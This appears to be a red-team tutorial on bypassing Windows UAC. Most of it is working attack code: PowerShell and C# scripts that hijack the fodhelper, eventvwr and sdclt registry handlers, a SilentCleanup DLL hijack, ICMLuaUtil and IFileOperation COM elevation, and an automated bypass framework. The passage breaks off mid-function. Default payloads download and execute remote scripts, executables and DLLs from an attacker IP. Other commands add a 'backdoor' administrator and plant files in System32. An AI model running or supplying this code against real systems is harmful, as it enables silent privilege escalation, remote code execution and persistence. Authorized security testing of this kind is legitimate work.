AppLocker Bypass: UAC Bypass
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).
How Does UAC Work?
UAC enforces integrity levels on every process in Windows. Think of them as security rings that control what a process can touch:
SYSTEM integrity ← kernel drivers, critical services
│
HIGH integrity ← elevated admin processes (after UAC prompt)
│
MEDIUM integrity ← standard user processes, normal admin sessions ← you start here
│
LOW integrity ← sandboxed processes (IE Protected Mode, Edge)
│
UNTRUSTED ← extremely restrictedWhen you’re logged in as an administrator, your shell runs at Medium integrity by default. UAC acts as a gate: to reach High integrity, a UAC consent prompt must be approved.
Auto-elevation is the gap we exploit. Some Microsoft-signed binaries carry an application manifest declaring autoElevate="true". Windows trusts these binaries to silently elevate to High integrity without a UAC prompt. The assumption: Microsoft wrote them, they’re safe.
<!-- manifest snippet from fodhelper.exe -->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<autoElevate>true</autoElevate>If we can hijack what an auto-elevated binary does, via registry redirection, DLL hijacking , or COM object substitution, we execute arbitrary code at High integrity with zero UAC prompts.
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise (victim VM)
│ ├── Local admin account (standard UAC config)
│ ├── Windows Defender enabled + updated
│ ├── UAC set to default ("Notify me only when apps try to make changes")
│ ├── Sysmon (SwiftOnSecurity config)
│ ├── Sysinternals Suite (Process Monitor, Process Hacker, AccessChk)
│ └── PowerShell 5.1 + Script Block Logging enabled
│
└── Kali Linux (attacker VM)
├── mingw-w64 cross-compiler
├── Python 3.10+
└── netcat / rlwrap listenerWindows VM Configuration
1. Create a standard admin test account
# Create local admin — this is your test persona
# UAC will fire for elevation requests from this account
net user testadmin P@ssw0rd123! /add
net localgroup Administrators testadmin /add2. Set UAC to default level (most common in the wild)
# Default: notify only when apps try to make changes, don't dim desktop
# Registry value 5 = default UAC behavior
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "ConsentPromptBehaviorAdmin" -Value 5 -Type DWord
# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
Select ConsentPromptBehaviorAdmin, EnableLUA, PromptOnSecureDesktop3. Enable Sysmon
.\Sysmon64.exe -accepteula -i sysmon-config.xml4. Verify your current integrity level
# should show "Medium Mandatory Level" on a standard admin session
whoami /groups | findstr "Mandatory"
# Medium = you can trigger UAC bypasses
# High = you're already elevated, no bypass needed5. Verify integrity level tool — save this, use it constantly
1# Check-Integrity.ps1 — shows current process integrity level
2$sig = @"
3using System;
4using System.Runtime.InteropServices;
5public class TokenInfo {
6 [DllImport("advapi32.dll", SetLastError=true)]
7 public static extern bool GetTokenInformation(IntPtr token, int infoClass,
8 IntPtr info, int infoLen, out int retLen);
9 [DllImport("advapi32.dll", SetLastError=true)]
10 public static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
11 [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
12}
13"@
14Add-Type $sig
15
16$token = [IntPtr]::Zero
17[TokenInfo]::OpenProcessToken([TokenInfo]::GetCurrentProcess(), 0x8, [ref]$token) | Out-Null
18
19$size = 0
20[TokenInfo]::GetTokenInformation($token, 25, [IntPtr]::Zero, 0, [ref]$size) | Out-Null
21$buf = [Runtime.InteropServices.Marshal]::AllocHGlobal($size)
22[TokenInfo]::GetTokenInformation($token, 25, $buf, $size, [ref]$size) | Out-Null
23
24$rid = [Runtime.InteropServices.Marshal]::ReadInt32($buf, 8)
25$labels = @{ 0x1000="Low"; 0x2000="Medium"; 0x3000="High"; 0x4000="System" }
26
27Write-Host "[*] Process: $($pid) ($([System.Diagnostics.Process]::GetCurrentProcess().ProcessName))"
28Write-Host "[*] Integrity: $($labels[[int]$rid] ?? "Unknown (RID: 0x$($rid.ToString('X')))")"
29[Runtime.InteropServices.Marshal]::FreeHGlobal($buf)6. Install Process Monitor for live registry/file tracing
ProcMon → Filter → Process Name → is → fodhelper.exe → Add
Filter → Category → is → Registry → AddThis is how the community discovers new UAC bypass paths — ProcMon on auto-elevated binaries watching for HKCU registry reads that don’t exist yet.
7. Snapshot before testing
VM → Snapshot → "UAC_BASELINE_MEDIUM_INTEGRITY"Revert between techniques: registry changes from one bypass can bleed into another test.
Phase 1: Enumeration
Tool 1: Find-AutoElevatedBinaries.ps1
1# Find-AutoElevatedBinaries.ps1
2# Scans Windows binaries for autoElevate=true in their manifests.
3# These are your primary bypass candidates.
4
5param(
6 [string[]]$ScanDirs = @(
7 "$env:WINDIR\System32",
8 "$env:WINDIR\SysWOW64"
9 ),
10 [switch]$Detailed
11)
12
13Add-Type -AssemblyName System.Xml.Linq
14
15function Get-Manifest([string]$exePath) {
16 try {
17 # use MT.exe if available, otherwise parse PE directly
18 $bytes = [IO.File]::ReadAllBytes($exePath)
19
20 # scan for the RT_MANIFEST resource signature
21 # simplified: search for XML declaration in PE bytes
22 $xmlSig = [Text.Encoding]::ASCII.GetBytes('<?xml')
23 for ($i = 0; $i -lt $bytes.Length - $xmlSig.Length; $i++) {
24 $match = $true
25 for ($j = 0; $j -lt $xmlSig.Length; $j++) {
26 if ($bytes[$i+$j] -ne $xmlSig[$j]) { $match = $false; break }
27 }
28 if ($match) {
29 # extract manifest XML
30 $end = $i
31 while ($end -lt $bytes.Length -and $bytes[$end] -ne 0) { $end++ }
32 return [Text.Encoding]::UTF8.GetString($bytes[$i..($end-1)])
33 }
34 }
35 } catch {}
36 return $null
37}
38
39$results = [Collections.Generic.List[PSCustomObject]]::new()
40
41foreach ($dir in $ScanDirs | Where-Object { Test-Path $_ }) {
42 Write-Host "[*] scanning $dir ..." -ForegroundColor Cyan
43
44 Get-ChildItem -Path $dir -Filter "*.exe" -ErrorAction SilentlyContinue |
45 ForEach-Object {
46 $manifest = Get-Manifest $_.FullName
47 if ($manifest -and $manifest -match 'autoElevate.*true') {
48 $level = if ($manifest -match 'requireAdministrator') { 'requireAdmin' }
49 elseif ($manifest -match 'highestAvailable') { 'highest' }
50 else { 'unknown' }
51 $results.Add([PSCustomObject]@{
52 Name = $_.Name
53 Path = $_.FullName
54 Level = $level
55 Signed = (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
56 Size = $_.Length
57 })
58 }
59 }
60}
61
62Write-Host "`n[+] Auto-elevated binaries found: $($results.Count)`n" -ForegroundColor Green
63$results | Sort-Object Name | Format-Table Name, Level, Signed, Path -AutoSize
64
65$results | Export-Csv ".\auto_elevated.csv" -NoTypeInformation
66Write-Host "[*] saved → auto_elevated.csv"Tool 2: Find-UACRegistryGaps.ps1
For each auto-elevated binary, ProcMon shows which HKCU registry keys it reads that don’t exist. This script cross-references a known list and checks which gaps are present on this machine — each writable missing key is a bypass opportunity.
1# Find-UACRegistryGaps.ps1
2# Checks known UAC bypass registry paths — reports which are exploitable here.
3
4$BypassPaths = @(
5 [PSCustomObject]@{
6 Binary = "fodhelper.exe"
7 HKCUKey = "Software\Classes\ms-settings\Shell\Open\command"
8 ValueName = "(Default) + DelegateExecute"
9 Technique = "Registry Hijack"
10 Risk = "High"
11 },
12 [PSCustomObject]@{
13 Binary = "eventvwr.exe"
14 HKCUKey = "Software\Classes\mscfile\shell\open\command"
15 ValueName = "(Default)"
16 Technique = "Registry Hijack"
17 Risk = "High"
18 },
19 [PSCustomObject]@{
20 Binary = "sdclt.exe"
21 HKCUKey = "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
22 ValueName = "(Default)"
23 Technique = "Registry Hijack"
24 Risk = "High"
25 },
26 [PSCustomObject]@{
27 Binary = "cmstp.exe"
28 HKCUKey = "Software\Classes\mscfile\shell\open\command"
29 ValueName = "(Default)"
30 Technique = "INF file"
31 Risk = "Medium"
32 },
33 [PSCustomObject]@{
34 Binary = "SilentCleanup (schtask)"
35 HKCUKey = "N/A — PATH DLL hijack"
36 ValueName = "N/A"
37 Technique = "DLL Hijack via PATH"
38 Risk = "High"
39 },
40 [PSCustomObject]@{
41 Binary = "CompMgmtLauncher.exe"
42 HKCUKey = "Software\Classes\mscfile\shell\open\command"
43 ValueName = "(Default)"
44 Technique = "Registry Hijack"
45 Risk = "Medium"
46 }
47)
48
49Write-Host "`n[*] Checking UAC bypass registry gaps on this system...`n" -ForegroundColor Cyan
50
51foreach ($entry in $BypassPaths) {
52 if ($entry.HKCUKey -eq 'N/A — PATH DLL hijack') {
53 Write-Host " [TASK] $($entry.Binary) — $($entry.Technique)" -ForegroundColor Yellow
54 continue
55 }
56
57 $fullPath = "HKCU:\$($entry.HKCUKey)"
58 $exists = Test-Path $fullPath
59 $status = if (-not $exists) { "[MISSING — EXPLOITABLE]" } else { "[EXISTS — check value]" }
60 $color = if (-not $exists) { "Green" } else { "Gray" }
61
62 Write-Host " $status $($entry.Binary) → $($entry.HKCUKey)" -ForegroundColor $color
63 if ($Detailed -and $exists) {
64 Get-ItemProperty -Path $fullPath -ErrorAction SilentlyContinue |
65 Out-String | ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
66 }
67}Bypass 1: fodhelper.exe (Registry Hijack)
fodhelper.exe (Features On Demand Helper) is an auto-elevated binary that manages optional Windows features. During execution it reads HKCU\Software\Classes\ms-settings\Shell\Open\command to find a handler. HKCU is always writable by the current user — no admin needed to set keys there.
Write your payload command to that key, launch fodhelper, and Windows runs your command at High integrity without a UAC prompt. This registry-hijack pattern is the template for every auto-elevated-binary bypass:
sequenceDiagram
participant U as User (Medium integrity)
participant R as HKCU registry
participant F as fodhelper.exe (auto-elevate)
participant W as Windows
U->>R: Write payload to the ms-settings Shell/Open/command key\n(Default) = command, DelegateExecute = empty
U->>F: Launch fodhelper.exe
F->>W: autoElevate=true → elevate to High, no UAC prompt
F->>R: Read ms-settings handler from HKCU
R-->>F: Returns attacker's command
F->>W: Execute command at High integrity
W-->>U: Elevated process running
PowerShell implementation
1# Invoke-FodhelperBypass.ps1
2# Spawns an elevated process via fodhelper.exe HKCU registry hijack.
3# Requires: Medium integrity admin account (default UAC config)
4
5param(
6 [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
7 [switch]$Cleanup,
8 [switch]$Verify
9)
10
11$regPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
12$fodhelper = "$env:WINDIR\System32\fodhelper.exe"
13
14function Invoke-Bypass {
15 Write-Host "[*] planting registry keys..." -ForegroundColor Cyan
16
17 # create key hierarchy
18 New-Item -Path $regPath -Force | Out-Null
19
20 # (Default) value = command to execute
21 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
22
23 # DelegateExecute MUST be present (can be empty) — signals to fodhelper
24 # that the value is a command, not a file handler
25 New-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force | Out-Null
26
27 Write-Host "[+] HKCU keys planted:" -ForegroundColor Green
28 Write-Host " $regPath"
29 Write-Host " (Default) = $Command"
30 Write-Host " DelegateExecute = (empty)"
31
32 # brief pause — let registry writes flush
33 Start-Sleep -Milliseconds 200
34
35 Write-Host "[*] launching fodhelper.exe..." -ForegroundColor Cyan
36 Start-Process $fodhelper -WindowStyle Hidden
37
38 # give it time to trigger before cleanup
39 Start-Sleep -Seconds 3
40}
41
42function Invoke-Cleanup {
43 $parent = "HKCU:\Software\Classes\ms-settings"
44 if (Test-Path $parent) {
45 Remove-Item -Path $parent -Recurse -Force -ErrorAction SilentlyContinue
46 Write-Host "[+] registry keys removed" -ForegroundColor Green
47 }
48}
49
50function Test-Bypass {
51 # write a marker file at High integrity path — only writable from High
52 $marker = "C:\Windows\System32\uac_test_$(Get-Random).txt"
53 $testCmd = "cmd /c echo elevated > $marker"
54
55 Invoke-FodhelperBypass -Command $testCmd
56 Start-Sleep -Seconds 4
57
58 if (Test-Path $marker) {
59 Write-Host "[+] BYPASS CONFIRMED — marker written to System32" -ForegroundColor Green
60 Remove-Item $marker -Force
61 } else {
62 Write-Host "[-] bypass failed or AV blocked execution" -ForegroundColor Red
63 }
64}
65
66if ($Verify) { Test-Bypass; return }
67if ($Cleanup) { Invoke-Cleanup; return }
68
69Invoke-Bypass
70Start-Sleep -Seconds 2
71Invoke-Cleanup # always clean up registry artifactsOne-liner (for constrained environments)
$p="HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $p -Force|Out-Null
Set-ItemProperty $p "(Default)" "cmd /c start powershell -nop -w hidden -ep bypass"
New-ItemProperty $p "DelegateExecute" -Value "" -Force|Out-Null
Start-Process "$env:WINDIR\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -ForceBypass 2: eventvwr.exe (Registry Hijack)
eventvwr.exe (Event Viewer) auto-elevates and reads HKCU\Software\Classes\mscfile\shell\open\command to find the handler for .msc files. Same pattern — write command, trigger binary, code runs at High integrity.
1# Invoke-EventvwrBypass.ps1
2
3param(
4 [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
5 [switch]$Cleanup
6)
7
8$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
9$eventvwr = "$env:WINDIR\System32\eventvwr.exe"
10
11function Set-Bypass {
12 New-Item -Path $regPath -Force | Out-Null
13 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
14
15 Write-Host "[+] planted: $regPath" -ForegroundColor Green
16 Write-Host " command: $Command"
17
18 Start-Sleep -Milliseconds 200
19 Start-Process $eventvwr -WindowStyle Hidden
20 Write-Host "[*] eventvwr.exe launched — waiting for trigger..."
21 Start-Sleep -Seconds 3
22}
23
24function Remove-Keys {
25 Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force -ErrorAction SilentlyContinue
26 Write-Host "[+] cleaned up" -ForegroundColor Green
27}
28
29if ($Cleanup) { Remove-Keys; return }
30Set-Bypass
31Remove-KeysBypass 3: sdclt.exe (App Path Hijack)
sdclt.exe (Backup and Restore) queries HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe to locate the Control Panel binary. Redirect it to your payload — sdclt auto-elevates and executes it at High integrity.
1# Invoke-SdcltBypass.ps1
2
3param(
4 [string]$Payload = "C:\Windows\Tasks\payload.exe",
5 [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
6 [switch]$Cleanup
7)
8
9$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
10$sdclt = "$env:WINDIR\System32\sdclt.exe"
11
12function Set-Bypass {
13 # drop payload to trusted writable path first (combines with trusted folder bypass)
14 if ($PayloadUrl -and -not (Test-Path $Payload)) {
15 (New-Object Net.WebClient).DownloadFile($PayloadUrl, $Payload)
16 Write-Host "[+] payload staged: $Payload" -ForegroundColor Green
17 }
18
19 New-Item -Path $regPath -Force | Out-Null
20 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Payload
21
22 Write-Host "[+] App Path hijacked:" -ForegroundColor Green
23 Write-Host " $regPath → $Payload"
24
25 Start-Sleep -Milliseconds 200
26
27 # /kickoffelev flag triggers the App Path lookup
28 Start-Process $sdclt -ArgumentList "/kickoffelev" -WindowStyle Hidden
29 Write-Host "[*] sdclt.exe /kickoffelev launched"
30 Start-Sleep -Seconds 3
31}
32
33function Remove-Keys {
34 if (Test-Path $regPath) {
35 Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" `
36 -Force -ErrorAction SilentlyContinue
37 Write-Host "[+] registry cleaned" -ForegroundColor Green
38 }
39}
40
41if ($Cleanup) { Remove-Keys; return }
42Set-Bypass
43Remove-KeysBypass 4: SilentCleanup Scheduled Task (DLL Hijack)
The SilentCleanup scheduled task runs DismHost.exe and cleanmgr.exe at High integrity without a UAC prompt. It’s designed to run silently during maintenance windows. The task inherits the current user’s %PATH% environment variable. Drop a malicious DLL with the right name into a user-writable directory that appears in PATH before System32, and DiskCleanup loads it at High integrity.
1# Invoke-SilentCleanupBypass.ps1
2# DLL hijack via SilentCleanup scheduled task PATH manipulation
3
4param(
5 [string]$DllUrl = "http://10.10.10.10/dismcore.dll",
6 [string]$DllDrop = "$env:TEMP\dismcore.dll", # user-writable, often in PATH
7 [switch]$PrependPath,
8 [switch]$Cleanup
9)
10
11# Target DLL: dismcore.dll — loaded by DismHost.exe, often missing from user PATH dirs
12$targetDll = "dismcore.dll"
13$taskName = "SilentCleanup"
14
15function Set-Bypass {
16 # fetch malicious DLL
17 (New-Object Net.WebClient).DownloadFile($DllUrl, $DllDrop)
18 Write-Host "[+] DLL staged: $DllDrop" -ForegroundColor Green
19
20 if ($PrependPath) {
21 # prepend drop directory to user PATH — ensures our DLL found before System32
22 $dropDir = Split-Path $DllDrop
23 $currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
24 if ($currentPath -notlike "$dropDir*") {
25 [Environment]::SetEnvironmentVariable("PATH", "$dropDir;$currentPath", "User")
26 $env:PATH = "$dropDir;$env:PATH"
27 Write-Host "[+] PATH prepended: $dropDir" -ForegroundColor Green
28 }
29 }
30
31 Write-Host "[*] triggering SilentCleanup task..." -ForegroundColor Cyan
32 Start-ScheduledTask -TaskName $taskName
33 Write-Host "[+] task triggered — DismHost.exe will load $targetDll from PATH"
34 Write-Host "[*] shell should arrive within 10-15 seconds"
35}
36
37function Remove-Bypass {
38 if (Test-Path $DllDrop) {
39 Remove-Item $DllDrop -Force
40 Write-Host "[+] DLL removed: $DllDrop"
41 }
42 if ($PrependPath) {
43 $dropDir = Split-Path $DllDrop
44 $p = [Environment]::GetEnvironmentVariable("PATH", "User")
45 [Environment]::SetEnvironmentVariable("PATH", ($p -replace [Regex]::Escape("$dropDir;"),""), "User")
46 Write-Host "[+] PATH restored"
47 }
48}
49
50if ($Cleanup) { Remove-Bypass; return }
51Set-BypassBuild the DLL payload (use hijack_base.c from the DLL Hijacking blog with LHOST/LPORT updated):
# compile dismcore.dll — matches name DismHost.exe looks for
x86_64-w64-mingw32-gcc -shared -o dismcore.dll hijack_base.c \
-lws2_32 -mwindows -s -fno-ident -Wl,--build-id=noneBypass 5: COM Object Hijacking (ICMLuaUtil)
Several auto-elevated binaries instantiate COM objects. COM object resolution checks HKCU before HKLM, meaning a user-registered COM object shadows the system one without admin rights. Register a malicious COM server in HKCU, trigger the elevated binary that uses it, and your server runs in its High-integrity context.
ICMLuaUtil is an interface exposed by cmluautil.dll that several auto-elevated binaries use. We can directly invoke it via late-binding to execute arbitrary commands at High integrity.
C# COM elevation via ICMLuaUtil
1// CMLuaBypass.cs
2// Calls ICMLuaUtil::ShellExec to run an arbitrary command at High integrity.
3// ICMLuaUtil is exposed by an auto-elevated COM server — no UAC prompt fires.
4//
5// Compile: csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
6// or: dotnet build
7
8using System;
9using System.Runtime.InteropServices;
10
11[ComImport]
12[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
13[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
14interface ICMLuaUtil {
15 void SetRasCredentials();
16 void SetRasEntryProperties();
17 void DeleteRasEntry();
18 void LaunchInfSection();
19 void LaunchInfSectionEx();
20 void CreateLayerDirectory();
21 void ShellExec(
22 string file,
23 string parameters,
24 string directory,
25 uint fMask,
26 uint nShow
27 );
28 void SetRegistryStringValue();
29 void DeleteRegistryStringValue();
30 void DeleteRegKeysAndValues();
31 void CreateDirectoryWithElevatedPriviliges();
32}
33
34[ComImport]
35[Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7")]
36[ClassInterface(ClassInterfaceType.None)]
37class CMLuaUtil { }
38
39class Program {
40 static void Main(string[] args) {
41 string cmd = args.Length > 0 ? args[0] : "powershell.exe";
42 string param = args.Length > 1 ? args[1] : "-nop -w hidden -ep bypass -c whoami";
43 string cwd = args.Length > 2 ? args[2] : @"C:\Windows\System32";
44
45 Console.WriteLine($"[*] target : {cmd} {param}");
46 Console.WriteLine("[*] invoking ICMLuaUtil::ShellExec via auto-elevated COM...");
47
48 try {
49 var util = (ICMLuaUtil)new CMLuaUtil();
50 util.ShellExec(cmd, param, cwd, 0x00000000, 1);
51 Console.WriteLine("[+] ShellExec called — command should run at High integrity");
52 } catch (Exception ex) {
53 Console.Error.WriteLine($"[-] failed: {ex.Message}");
54 Console.Error.WriteLine(" (ensure you are Medium integrity + local admin)");
55 }
56 }
57} 1:: compile and run
2csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
3
4:: execute arbitrary command at high integrity — no UAC prompt
5CMLuaBypass.exe powershell.exe "-nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
6
7:: add local user to admins (for persistence)
8CMLuaBypass.exe cmd.exe "/c net localgroup Administrators backdoor /add"
9
10:: copy file to protected path
11CMLuaBypass.exe cmd.exe "/c copy C:\Users\Public\payload.exe C:\Windows\System32\evil.exe"Bypass 6: IFileOperation COM (Privileged File Copy)
The IFileOperation COM interface runs at the caller’s integrity level, but when invoked from within an auto-elevated process context, it inherits High integrity. This lets you copy files to privileged locations (like C:\Windows\System32\) without a UAC prompt.
Classic use: copy a malicious DLL to System32, then trigger a binary that loads it.
1// FileOpBypass.cs
2// Uses IFileOperation at High integrity (via auto-elevated COM host) to
3// copy files to privileged locations — combines with DLL hijacking for RCE.
4//
5// Compile: csc.exe /target:library /out:FileOpBypass.dll FileOpBypass.cs
6//
7// Then load via Assembly.Load() from an elevated context.
8
9using System;
10using System.Runtime.InteropServices;
11
12[ComImport]
13[Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8")]
14[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
15interface IFileOperation {
16 void Advise(IFileOperationProgressSink pfops, out uint pdwCookie);
17 void Unadvise(uint dwCookie);
18 void SetOperationFlags(uint dwOperationFlags);
19 void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
20 void SetProgressDialog([MarshalAs(UnmanagedType.IUnknown)] object popd);
21 void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
22 void MoveItem(
23 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
24 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
25 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
26 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
27 void MoveItems(
28 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
29 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
30 void CopyItem(
31 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
32 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
33 [MarshalAs(UnmanagedType.LPWStr)] string pszCopyName,
34 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
35 void CopyItems(
36 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
37 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
38 void DeleteItem(
39 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
40 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
41 void DeleteItems([MarshalAs(UnmanagedType.IUnknown)] object punkItems);
42 void RenameItem(
43 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
44 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
45 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
46 void RenameItems(
47 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
48 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName);
49 void ApplyPropertiesToItem(
50 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
51 [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
52 void ApplyPropertiesToItems(
53 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
54 [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
55 void NewItem(
56 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
57 uint dwFileAttributes,
58 [MarshalAs(UnmanagedType.LPWStr)] string pszName,
59 [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName,
60 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
61 void PerformOperations();
62}
63
64[ComImport]
65[Guid("00000114-0000-0000-C000-000000000046")]
66[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
67interface IFileOperationProgressSink { }
68
69[ComImport]
70[Guid("3ad05575-8857-4850-9277-11b85bdb8e09")]
71[ClassInterface(ClassInterfaceType.None)]
72class FileOperation { }
73
74public static class FileOpBypass {
75
76 [DllImport("shell32.dll", CharSet=CharSet.Unicode)]
77 static extern int SHCreateItemFromParsingName(
78 string pszPath, IntPtr pbc,
79 [MarshalAs(UnmanagedType.LPStruct)] Guid riid,
80 [MarshalAs(UnmanagedType.IUnknown)] out object ppv);
81
82 static readonly Guid IShellItemGuid = new Guid("43826d1e-e718-42ee-bc55-a1e261c37bfe");
83
84 static object GetShellItem(string path) {
85 object item;
86 SHCreateItemFromParsingName(path, IntPtr.Zero, IShellItemGuid, out item);
87 return item;
88 }
89
90 // Copy srcFile → dstDir\newName using High-integrity IFileOperation
91 public static void CopyToPrivileged(string srcFile, string dstDir, string newName = null) {
92 var op = (IFileOperation)new FileOperation();
93
94 // FOF_NOCONFIRMATION | FOF_SILENT | FOF_NOERRORUI
95 op.SetOperationFlags(0x0614);
96
97 var src = GetShellItem(srcFile);
98 var dst = GetShellItem(dstDir);
99 var name = newName ?? System.IO.Path.GetFileName(srcFile);
100
101 op.CopyItem(src, dst, name, null);
102 op.PerformOperations();
103
104 Console.WriteLine($"[+] copied {srcFile} → {dstDir}\\{name}");
105 }
106
107 // Example: plant malicious DLL into System32 for subsequent hijack
108 public static void PlantDLL(string maliciousDll, string targetDllName) {
109 CopyToPrivileged(maliciousDll, @"C:\Windows\System32", targetDllName);
110 Console.WriteLine($"[+] {targetDllName} planted in System32 — trigger target binary to get High-integrity shell");
111 }
112}Bypass 7: Automated UAC Bypass Framework (C#)
A unified C# framework that enumerates available bypasses and executes the most appropriate one for the current system, with fallback logic.
1// UACBypass.cs — automated UAC bypass framework
2// Tries bypasses in order of stealth/reliability, falls back on failure.
3//
4// Compile: csc.exe /out:UACBypass.exe UACBypass.cs
5//
6// Usage:
7// UACBypass.exe — auto-select + execute
8// UACBypass.exe --cmd "powershell -nop -w hidden" — custom command
9// UACBypass.exe --list — list available bypasses
10// UACBypass.exe --method fodhelper — force specific bypass
11
12using System;
13using System.Collections.Generic;
14using System.Diagnostics;
15using System.IO;
16using System.Runtime.InteropServices;
17using System.Threading;
18using Microsoft.Win32;
19
20class UACBypass {
21
22 // ── Win32 helpers ─────────────────────────────────────────────────────
23 [DllImport("advapi32.dll", SetLastError=true)]
24 static extern bool GetTokenInformation(IntPtr token, int infoClass,
25 IntPtr info, int infoLen, out int retLen);
26 [DllImport("advapi32.dll", SetLastError=true)]
27 static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
28 [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
29
30 // ── integrity level detection ─────────────────────────────────────────
31 static int GetIntegrityLevel() {
32 IntPtr token;
33 OpenProcessToken(GetCurrentProcess(), 0x8, out token);
34 int size = 0;
35 GetTokenInformation(token, 25, IntPtr.Zero, 0, out size);
36 var buf = Marshal.AllocHGlobal(size);
37 GetTokenInformation(token, 25, buf, size, out size);
38 int rid = Marshal.ReadInt32(buf, 8);
39 Marshal.FreeHGlobal(buf);
40 return rid;
41 }
42
43 const int HIGH_INTEGRITY = 0x3000;
44 const int MEDIUM_INTEGRITY = 0x2000;
45
46 // ── bypass registry helper ────────────────────────────────────────────
47 static void SetRegValue(string hkcu, string valueName, string data) {
48 using var key = Registry.CurrentUser.CreateSubKey(hkcu, true);
49 key.SetValue(valueName, data);
50 if (valueName == "(Default)" || valueName == "") {
51 // also set DelegateExecute if this is a shell\open\command key
52 if (hkcu.EndsWith("command", StringComparison.OrdinalIgnoreCase))
53 key.SetValue("DelegateExecute", "");
54 }
55 }
56
57 static void DeleteRegKey(string hkcu) {
58 try { Registry.CurrentUser.DeleteSubKeyTree(hkcu, false); } catch {}
59 }
60
61 static bool WaitForElevation(string markerPath, int timeoutMs = 6000) {
62 int elapsed = 0;
63 while (elapsed < timeoutMs) {
64 if (File.Exists(markerPath)) { File.Delete(markerPath); return true; }
65 Thread.Sleep(300);
66 elapsed += 300;
67 }
68 return false;
69 }
70
71 // ── bypass implementations ────────────────────────────────────────────
72
73 static bool BypassFodhelper(string cmd) {
74 const string regKey = @"Software\Classes\ms-settings\Shell\Open\command";
75 try {
76 SetRegValue(regKey, "", cmd);
77 Thread.Sleep(200);
78 Process.Start(new ProcessStartInfo {
79 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
80 "System32", "fodhelper.exe"),
81 WindowStyle = ProcessWindowStyle.Hidden,
82 UseShellExecute = false
83 });
84 Thread.Sleep(3000);
85 return true;
86 } finally {
87 DeleteRegKey(@"Software\Classes\ms-settings");
88 }
89 }
90
91 static bool BypassEventvwr(string cmd) {
92 const string regKey = @"Software\Classes\mscfile\shell\open\command";
93 try {
94 SetRegValue(regKey, "", cmd);
95 Thread.Sleep(200);
96 Process.Start(new ProcessStartInfo {
97 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
98 "System32", "eventvwr.exe"),
99 WindowStyle = ProcessWindowStyle.Hidden,
100 UseShellExecute = false
101 });
102 Thread.Sleep(3000);
103 return true;
104 } finally {
